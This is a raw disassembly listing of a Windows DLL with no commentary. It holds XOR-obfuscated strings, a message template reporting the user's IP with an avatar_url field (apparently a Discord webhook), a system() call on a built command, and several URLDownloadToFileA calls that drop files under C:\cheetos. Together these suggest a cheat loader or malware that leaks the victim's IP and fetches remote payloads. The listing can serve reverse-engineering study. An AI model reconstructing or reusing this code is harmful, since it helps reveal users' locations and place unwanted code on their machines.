movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xe0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xf0], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], r12b
mov rdx, qword [rbp + 0xf8]
mov rcx, qword [rbp + 0xf0]
mov rax, rdx
sub rax, rcx
cmp rax, 0xc
jb 0x180058140
cmp rdx, 0xf
lea rax, [rcx + 0xc]
lea rdi, [rbp + 0xe0]
mov qword [rbp + 0xf0], rax
cmova rdi, qword [rbp + 0xe0]
lea rdx, str.avatar_url
add rdi, rcx
mov r8d, 0xc
mov rcx, rdi
call sub.VCRUNTIME140.dll_memmove
lea rax, [rbp + 0xe0]
mov byte [rdi + 0xc], r12b
jmp 0x180058161
lea r9, str.avatar_url
mov qword [rsp + 0x20], 0xc
mov edx, 0xc
lea rcx, [rbp + 0xe0]
call fcn.18005e0a0
cmp qword [rbp - 0x48], 0xf
lea rdx, [rbp - 0x60]
mov r8, qword [rbp - 0x50]
lea rcx, [rbp + 0x230]
cmova rdx, qword [rbp - 0x60]
xorps xmm0, xmm0
movups xmmword [rbp + 0x230], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x240], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x230], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x240], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], r12b
call fcn.18005b380
mov qword [rbp + 0xd0], r12
xorps xmm0, xmm0
movups xmmword [rbp + 0xc0], xmm0
mov qword [rbp + 0xd8], r12
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xc0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xd0], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], r12b
mov rdx, qword [rbp + 0xd8]
mov rcx, qword [rbp + 0xd0]
mov rax, rdx
sub rax, rcx
cmp rax, 2
jb 0x180058240
lea rax, [rcx + 2]
cmp rdx, 0xf
mov qword [rbp + 0xd0], rax
lea rax, [rbp + 0xc0]
cmova rax, qword [rbp + 0xc0]
mov word [rax + rcx], 0x2022
mov byte [rax + rcx + 2], r12b
lea rax, [rbp + 0xc0]
jmp 0x180058261
lea r9, [0x18013379c]
mov qword [rsp + 0x20], 2
mov edx, 2
lea rcx, [rbp + 0xc0]
call fcn.18005e0a0
cmp qword [rbp - 8], 0xf
lea rdx, [rbp - 0x20]
mov r8, qword [rbp - 0x10]
lea rcx, [rbp + 0x210]
cmova rdx, qword [rbp - 0x20]
xorps xmm0, xmm0
movups xmmword [rbp + 0x210], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x220], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x210], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x220], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], r12b
call fcn.18005b380
xorps xmm0, xmm0
xorps xmm1, xmm1
movups xmmword [rbp + 0x1f0], xmm0
movdqu xmmword [rbp + 0x200], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x1f0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x200], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], r12b
mov rdx, qword [rbp + 0x228]
cmp rdx, 0xf
jbe 0x180058332
mov rcx, qword [rbp + 0x210]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18005832d
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800584e3
call fcn.18010c0bc
mov rdx, qword [rbp + 0xd8]
movdqa xmm0, xmmword [0x180287170]
mov byte [rbp + 0x210], r12b
movdqu xmmword [rbp + 0x220], xmm0
cmp rdx, 0xf
jbe 0x18005838a
mov rcx, qword [rbp + 0xc0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180058385
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800584e3
call fcn.18010c0bc
mov rdx, qword [rbp + 0x248]
mov qword [rbp + 0xd0], r12
mov qword [rbp + 0xd8], 0xf
mov byte [rbp + 0xc0], r12b
cmp rdx, 0xf
jbe 0x1800583e4
mov rcx, qword [rbp + 0x230]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800583df
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800584e3
call fcn.18010c0bc
mov rdx, qword [rbp + 0xf8]
movdqa xmm0, xmmword [0x180287170]
mov byte [rbp + 0x230], r12b
movdqu xmmword [rbp + 0x240], xmm0
cmp rdx, 0xf
jbe 0x18005843c
mov rcx, qword [rbp + 0xe0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180058437
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800584e3
call fcn.18010c0bc
mov rdx, qword [rbp + 0x118]
mov qword [rbp + 0xf0], r12
mov qword [rbp + 0xf8], 0xf
mov byte [rbp + 0xe0], r12b
cmp rdx, 0xf
jbe 0x180058492
mov rcx, qword [rbp + 0x100]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18005848d
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800584e3
call fcn.18010c0bc
mov rdx, qword [rbp + 0x138]
mov qword [rbp + 0x110], r12
mov qword [rbp + 0x118], 0xf
mov byte [rbp + 0x100], r12b
cmp rdx, 0xf
jbe 0x1800584ef
mov rcx, qword [rbp + 0x120]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800584ea
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1800584ea
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.18010c0bc
movdqa xmm0, xmmword [0x180287170]
movabs rax, 0x87354869c2212b4e
movdqu xmmword [rbp + 0x130], xmm0
mov byte [rbp + 0x120], r12b
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x2f0], rax
movabs rax, 0xcd595bfe67b018a7
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x2f8], rax
movabs rax, 0x440a5cb246ef2575
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x300], rax
movabs rax, 0x8f8722910ace58fd
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x308], rax
movabs rax, 0x53d5b98d610c5861
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x310], rax
movabs rax, 0xc2755123b38a89d6
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x318], rax
movabs rax, 0xd0208d7b2e4e366e
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x320], rax
movabs rax, 0xf79dcce2894758a2
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x328], rax
movabs rax, 0x79895a8b37e6d065
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x330], rax
movabs rax, 0xd0de47de8ed206e0
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x338], rax
movabs rax, 0xf923824ca4fa732f
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x340], rax
movabs rax, 0xc092840b7fd5f88c
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x348], rax
movabs rax, 0xef43611cc6bc66ad
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x350], rax
movabs rax, 0x6ec92bc89ab5c217
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x358], rax
movabs rax, 0xe3186549ae535e2d
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x660], rax
movabs rax, 0xa82a2edc47d16cc6
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x668], rax
movabs rax, 0x2c6961d72b8e4b07
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x670], rax
movabs rax, 0xece40ce265ba3d98
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x678], rax
movabs rax, 0x3ab4ffad412178d1
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x680], rax
movabs rax, 0xb61b3e4095eeecba
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x688], rax
movabs rax, 0x9900b35b133a580b
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x690], rax
movabs rax, 0x8ee9ec96ea2232cc
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x698], rax
movabs rax, 0xbe82db117dcb515
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x6a0], rax
movabs rax, 0xb4b208e4e9bc6f8e
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x6a8], rax
movabs rax, 0x974ceb3fd69f250f
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x6b0], rax
movabs rax, 0xb3cdea6a12efd8a0
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x6b8], rax
movabs rax, 0xd5240f75a2d207d9
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x6c0], rax
movabs rax, 0x6ee906e8e8d0b142
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
movdqa xmm0, xmmword [rbp + 0x2f0]
xorps xmm0, xmmword [rbp + 0x660]
movdqa xmm1, xmmword [rbp + 0x300]
xorps xmm1, xmmword [rbp + 0x670]
movdqa xmmword [rbp + 0x2f0], xmm0
movdqa xmm0, xmmword [rbp + 0x310]
xorps xmm0, xmmword [rbp + 0x680]
movdqa xmmword [rbp + 0x310], xmm0
movdqa xmm0, xmmword [rbp + 0x330]
xorps xmm0, xmmword [rbp + 0x6a0]
movdqa xmmword [rbp + 0x300], xmm1
movdqa xmm1, xmmword [rbp + 0x320]
xorps xmm1, xmmword [rbp + 0x690]
movdqa xmmword [rbp + 0x330], xmm0
movdqa xmm0, xmmword [rbp + 0x350]
movdqa xmmword [rbp + 0x320], xmm1
movdqa xmm1, xmmword [rbp + 0x340]
xorps xmm1, xmmword [rbp + 0x6b0]
mov qword [rbp + 0x6c8], rax
lea rax, [rbp + 0x2f0]
xorps xmm0, xmmword [rbp + 0x6c0]
movdqa xmmword [rbp + 0x350], xmm0
movdqa xmmword [rbp + 0x340], xmm1
inc rbx
cmp byte [rax + rbx], r12b
jne 0x180058912
mov rcx, qword [rbp - 0x30]
sub r15, rcx
cmp r15, rbx
jb 0x18005a4c5
cmp qword [rbp - 0x28], 0xf
lea rax, [rbp - 0x40]
mov qword [rsp + 0x30], rcx
lea r9, [rbp + 0x2f0]
cmova rax, qword [rbp - 0x40]
lea rcx, [rbp + 0x8a0]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rbx
call fcn.180004560
mov r8d, 0x15
lea rdx, str.__:man_detective:IP:
lea rcx, [rbp + 0x8a0]
call fcn.18005b380
cmp qword [rbp + 0x158], 0xf
lea rdx, [rbp + 0x140]
mov r8, qword [rbp + 0x150]
lea rcx, [rbp + 0x2d0]
cmova rdx, qword [rbp + 0x140]
xorps xmm0, xmm0
movups xmmword [rbp + 0x2d0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x2e0], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x2d0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x2e0], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], r12b
call fcn.18005b380
xorps xmm0, xmm0
lea rdx, str.avatar_url
movups xmmword [rbp + 0x2b0], xmm0
lea rcx, [rbp + 0x2b0]
mov r8d, 0xc
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x2c0], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x2b0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x2c0], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], r12b
call fcn.18005b380
cmp qword [rbp - 0x48], 0xf
lea rdx, [rbp - 0x60]
mov r8, qword [rbp - 0x50]
lea rcx, [rbp + 0x290]
cmova rdx, qword [rbp - 0x60]
xorps xmm0, xmm0
movups xmmword [rbp + 0x290], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x2a0], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x290], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x2a0], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], r12b
call fcn.18005b380
xorps xmm0, xmm0
lea rdx, [0x18013379c]
movups xmmword [rbp + 0x270], xmm0
lea rcx, [rbp + 0x270]
mov r8d, 2
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x280], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x270], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x280], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], r12b
call fcn.18005b380
xorps xmm0, xmm0
xorps xmm1, xmm1
movups xmmword [rbp + 0x250], xmm0
movdqu xmmword [rbp + 0x260], xmm1
movups xmm0, xmmword [rax]
cmp qword [rbp - 8], 0xf
lea rdx, [rbp - 0x20]
mov r8, qword [rbp - 0x10]
lea rcx, [rbp + 0x250]
cmova rdx, qword [rbp - 0x20]
movups xmmword [rbp + 0x250], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x260], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], r12b
call fcn.18005b380
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], r12b
mov rdx, qword [rbp + 0x268]
movups xmmword [rbp + 0x860], xmm0
movups xmmword [rbp + 0x870], xmm1
cmp rdx, 0xf
jbe 0x180058b8e
mov rcx, qword [rbp + 0x250]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180058b89
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180058ce1
call fcn.18010c0bc
mov rdx, qword [rbp + 0x288]
movdqa xmm0, xmmword [0x180287170]
mov byte [rbp + 0x250], r12b
movdqu xmmword [rbp + 0x260], xmm0
cmp rdx, 0xf
jbe 0x180058be6
mov rcx, qword [rbp + 0x270]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180058be1
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180058ce1
call fcn.18010c0bc
mov rdx, qword [rbp + 0x2a8]
movdqa xmm0, xmmword [0x180287170]
mov byte [rbp + 0x270], r12b
movdqu xmmword [rbp + 0x280], xmm0
cmp rdx, 0xf
jbe 0x180058c3e
mov rcx, qword [rbp + 0x290]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180058c39
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180058ce1
call fcn.18010c0bc
mov rdx, qword [rbp + 0x2c8]
movdqa xmm0, xmmword [0x180287170]
mov byte [rbp + 0x290], r12b
movdqu xmmword [rbp + 0x2a0], xmm0
cmp rdx, 0xf
jbe 0x180058c92
mov rcx, qword [rbp + 0x2b0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180058c8d
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180058ce1
call fcn.18010c0bc
mov rdx, qword [rbp + 0x2e8]
movdqa xmm0, xmmword [0x180287170]
mov byte [rbp + 0x2b0], r12b
movdqu xmmword [rbp + 0x2c0], xmm0
cmp rdx, 0xf
jbe 0x180058ced
mov rcx, qword [rbp + 0x2d0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180058ce8
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180058ce8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.18010c0bc
movdqa xmm0, xmmword [0x180287170]
lea rcx, [rbp + 0x8a0]
movdqu xmmword [rbp + 0x2e0], xmm0
mov byte [rbp + 0x2d0], r12b
call fcn.180004330
cmp qword [rbp + 0x208], 0xf
lea rcx, [rbp + 0x1f0]
cmova rcx, qword [rbp + 0x1f0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call fcn.1800561c0
call fcn.180044b30
call fcn.180003f80
call fcn.180004030
movabs rax, 0xcc375f3ade272a45
movabs rdi, 0xcb5947b869bf08a5
mov qword [rbp + 0xa20], rax
movabs r13, 0x4f4711a74aea3968
mov rax, qword [rbp + 0xa20]
movabs r12, 0x8f857896049550f7
mov qword [rsp + 0x40], rax
movabs r15, 0xb9b8cd92f4415b9
mov qword [rbp + 0xa20], rdi
movabs r14, 0x86220e74a0dddd8b
mov rax, qword [rbp + 0xa20]
movabs rsi, 0xac36826d2a03693b
mov qword [rsp + 0x48], rax
movabs rbx, 0xb9d0d8a7db0d00fd
mov qword [rbp + 0xa20], r13
mov rax, qword [rbp + 0xa20]
mov qword [rsp + 0x50], rax
mov qword [rbp + 0xa20], r12
mov rax, qword [rbp + 0xa20]
mov qword [rsp + 0x58], rax
mov qword [rbp + 0xa20], r15
mov rax, qword [rbp + 0xa20]
mov qword [rsp + 0x60], rax
mov qword [rbp + 0xa20], r14
mov rax, qword [rbp + 0xa20]
mov qword [rsp + 0x68], rax
mov qword [rbp + 0xa20], rsi
mov rax, qword [rbp + 0xa20]
mov qword [rsp + 0x70], rax
mov qword [rbp + 0xa20], rbx
mov rax, qword [rbp + 0xa20]
mov qword [rsp + 0x78], rax
movabs rax, 0x3add1d8926e88122
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp - 0x80], rax
movabs rax, 0xd79d3ed5d88a58be
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp - 0x78], rax
movabs rax, 0xf5629f56a3fc5766
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp - 0x70], rax
movabs rax, 0xb3cdea0f7e8bb6d5
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp - 0x68], rax
movabs rax, 0xe3186549ae535e2d
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x470], rax
movabs rax, 0xa82a2edc47d16cc6
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x478], rax
movabs rax, 0x2c6961d72b8e4b07
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x480], rax
movabs rax, 0xece40ce265ba3d98
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x488], rax
movabs rax, 0x3ab4ffad412178d1
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x490], rax
movabs rax, 0xb61b3e4095eeecba
mov qword [rsp + 0x20], 0
mov qword [rbp + 0xa20], rax
lea r8, str.C:cheetos.cccircuit.bundle
mov rax, qword [rbp + 0xa20]
lea rdx, [rsp + 0x40]
mov qword [rbp + 0x498], rax
xor r9d, r9d
movabs rax, 0x9900b35b133a580b
xor ecx, ecx
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x4a0], rax
movabs rax, 0x8ee9ec96ea2232cc
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x4a8], rax
movabs rax, 0xbe82db117dcb515
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x4b0], rax
movabs rax, 0xb4b208e4e9bc6f8e
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x4b8], rax
movabs rax, 0x974ceb3fd69f250f
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x4c0], rax
movabs rax, 0xb3cdea6a12efd8a0
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
movdqa xmm0, xmmword [rsp + 0x40]
xorps xmm0, xmmword [rbp + 0x470]
movdqa xmm1, xmmword [rsp + 0x50]
xorps xmm1, xmmword [rbp + 0x480]
movdqa xmmword [rsp + 0x40], xmm0
movdqa xmm0, xmmword [rsp + 0x60]
xorps xmm0, xmmword [rbp + 0x490]
movdqa xmmword [rsp + 0x50], xmm1
movdqa xmm1, xmmword [rsp + 0x70]
xorps xmm1, xmmword [rbp + 0x4a0]
movdqa xmmword [rsp + 0x60], xmm0
movdqa xmm0, xmmword [rbp - 0x80]
xorps xmm0, xmmword [rbp + 0x4b0]
movdqa xmmword [rsp + 0x70], xmm1
movdqa xmm1, xmmword [rbp - 0x70]
mov qword [rbp + 0x4c8], rax
xorps xmm1, xmmword [rbp + 0x4c0]
movdqa xmmword [rbp - 0x80], xmm0
movdqa xmmword [rbp - 0x70], xmm1
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movabs rax, 0xcc375f3ade272a45
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rsp + 0x40], rax
mov qword [rbp + 0xa20], rdi
mov rax, qword [rbp + 0xa20]
mov qword [rsp + 0x48], rax
mov qword [rbp + 0xa20], r13
mov rax, qword [rbp + 0xa20]
mov qword [rsp + 0x50], rax
mov qword [rbp + 0xa20], r12
mov rax, qword [rbp + 0xa20]
mov qword [rsp + 0x58], rax
mov qword [rbp + 0xa20], r15
mov rax, qword [rbp + 0xa20]
mov qword [rsp + 0x60], rax
mov qword [rbp + 0xa20], r14
mov rax, qword [rbp + 0xa20]
mov qword [rsp + 0x68], rax
mov qword [rbp + 0xa20], rsi
mov rax, qword [rbp + 0xa20]
mov qword [rsp + 0x70], rax
mov qword [rbp + 0xa20], rbx
mov rax, qword [rbp + 0xa20]
mov qword [rsp + 0x78], rax
movabs rax, 0x3cd81e8125e88122
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp - 0x80], rax
movabs rax, 0xc69d38d6d0855eb8
mov qword [rsp + 0x20], 0
mov qword [rbp + 0xa20], rax
lea r8, str.C:cheetos.cc_rust.assets
mov rax, qword [rbp + 0xa20]
xor r9d, r9d
mov qword [rbp - 0x78], rax
movabs rax, 0xf23f985ef8eb567a
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp - 0x70], rax
movabs rax, 0xb3cdea6a12efabd4
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp - 0x68], rax
movabs rax, 0xe3186549ae535e2d
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x4d0], rax
movabs rax, 0xa82a2edc47d16cc6
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x4d8], rax
movabs rax, 0x2c6961d72b8e4b07
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x4e0], rax
movabs rax, 0xece40ce265ba3d98
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x4e8], rax
movabs rax, 0x3ab4ffad412178d1
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x4f0], rax
movabs rax, 0xb61b3e4095eeecba
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x4f8], rax
movabs rax, 0x9900b35b133a580b
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x500], rax
movabs rax, 0x8ee9ec96ea2232cc
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x508], rax
movabs rax, 0xbe82db117dcb515
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x510], rax
movabs rax, 0xb4b208e4e9bc6f8e
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x518], rax
movabs rax, 0x974ceb3fd69f250f
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x520], rax
movabs rax, 0xb3cdea6a12efd8a0
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
movdqa xmm0, xmmword [rsp + 0x40]
xorps xmm0, xmmword [rbp + 0x4d0]
movdqa xmm1, xmmword [rsp + 0x50]
xorps xmm1, xmmword [rbp + 0x4e0]
movdqa xmmword [rsp + 0x40], xmm0
movdqa xmm0, xmmword [rsp + 0x60]
xorps xmm0, xmmword [rbp + 0x4f0]
movdqa xmmword [rsp + 0x50], xmm1
movdqa xmm1, xmmword [rsp + 0x70]
xorps xmm1, xmmword [rbp + 0x500]
movdqa xmmword [rsp + 0x60], xmm0
movdqa xmm0, xmmword [rbp - 0x80]
xorps xmm0, xmmword [rbp + 0x510]
movdqa xmmword [rsp + 0x70], xmm1
movdqa xmm1, xmmword [rbp - 0x70]
mov qword [rbp + 0x528], rax
xorps xmm1, xmmword [rbp + 0x520]
movdqa xmmword [rbp - 0x80], xmm0
movdqa xmmword [rbp - 0x70], xmm1
lea rdx, [rsp + 0x40]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movabs rax, 0xcc375f3ade272a45
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rsp + 0x40], rax
mov qword [rbp + 0xa20], rdi
mov rax, qword [rbp + 0xa20]
mov qword [rsp + 0x48], rax
mov qword [rbp + 0xa20], r13
mov rax, qword [rbp + 0xa20]
mov qword [rsp + 0x50], rax
mov qword [rbp + 0xa20], r12
mov rax, qword [rbp + 0xa20]
mov qword [rsp + 0x58], rax
mov qword [rbp + 0xa20], r15
mov rax, qword [rbp + 0xa20]
mov qword [rsp + 0x60], rax
mov qword [rbp + 0xa20], r14
mov rax, qword [rbp + 0xa20]
mov qword [rsp + 0x68], rax
mov qword [rbp + 0xa20], rsi
mov rax, qword [rbp + 0xa20]
mov qword [rsp + 0x70], rax
mov qword [rbp + 0xa20], rbx
mov rax, qword [rbp + 0xa20]
mov qword [rsp + 0x78], rax
movabs rax, 0x3fd1158926e88122
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp - 0x80], rax
movabs rax, 0xdc9d3bd2dd855cbf
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp - 0x78], rax
movabs rax, 0xf3229e5df8f04960
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp - 0x70], rax
movabs rax, 0xb3cdea6a12efbdcc
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp - 0x68], rax
movabs rax, 0xe3186549ae535e2d
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x160], rax
movabs rax, 0xa82a2edc47d16cc6
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x168], rax
movabs rax, 0x2c6961d72b8e4b07
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x170], rax
movabs rax, 0xece40ce265ba3d98
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x178], rax
movabs rax, 0x3ab4ffad412178d1
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x180], rax
movabs rax, 0xb61b3e4095eeecba
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
